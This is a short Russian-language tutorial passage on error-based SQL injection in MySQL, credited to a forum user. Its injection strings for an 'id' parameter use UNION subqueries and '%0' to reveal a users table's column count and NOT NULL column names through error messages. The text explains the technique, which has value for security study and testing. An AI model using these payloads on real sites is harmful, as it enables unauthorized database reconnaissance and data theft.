Представлю недавно
опубликованный на форуме sla.ckers.org юзером
Paic способ, с помощью которого можно узнать
имена колонок, если они имеют тип NOT NULL.
Отправляем первый запрос, чтобы узнать, сколько
колонок в нужной нам таблице:
id=1 and (select
* from users) = (1)
В результате MySQL вернет ошибку «Operand
should contain 7 column(s)». Это значит, что в
таблице users 7 полей. Тогда составим логически
верный запрос:
id=1 and (1,2,3,4,5,6,7) = (select *
from users union select 1,2,3,4,5,6,7 limit 1)
Запрос верный и ошибки мы не увидим. А теперь
о том, как узнать имена колонок. Для каждого
поля в запросе поочередно подставляем
последовательность символов %0 и, если у поля
стоит ключ NOT NULL, мы увидим ошибку. Посмотрим
на примере:
id=1 and (1,2,3,4,5,6,7) = (select *
from users union select 1%0,2,3,4,5,6,7 limit 1)
В итоге видим ошибку – «Column 'id' cannot be
null».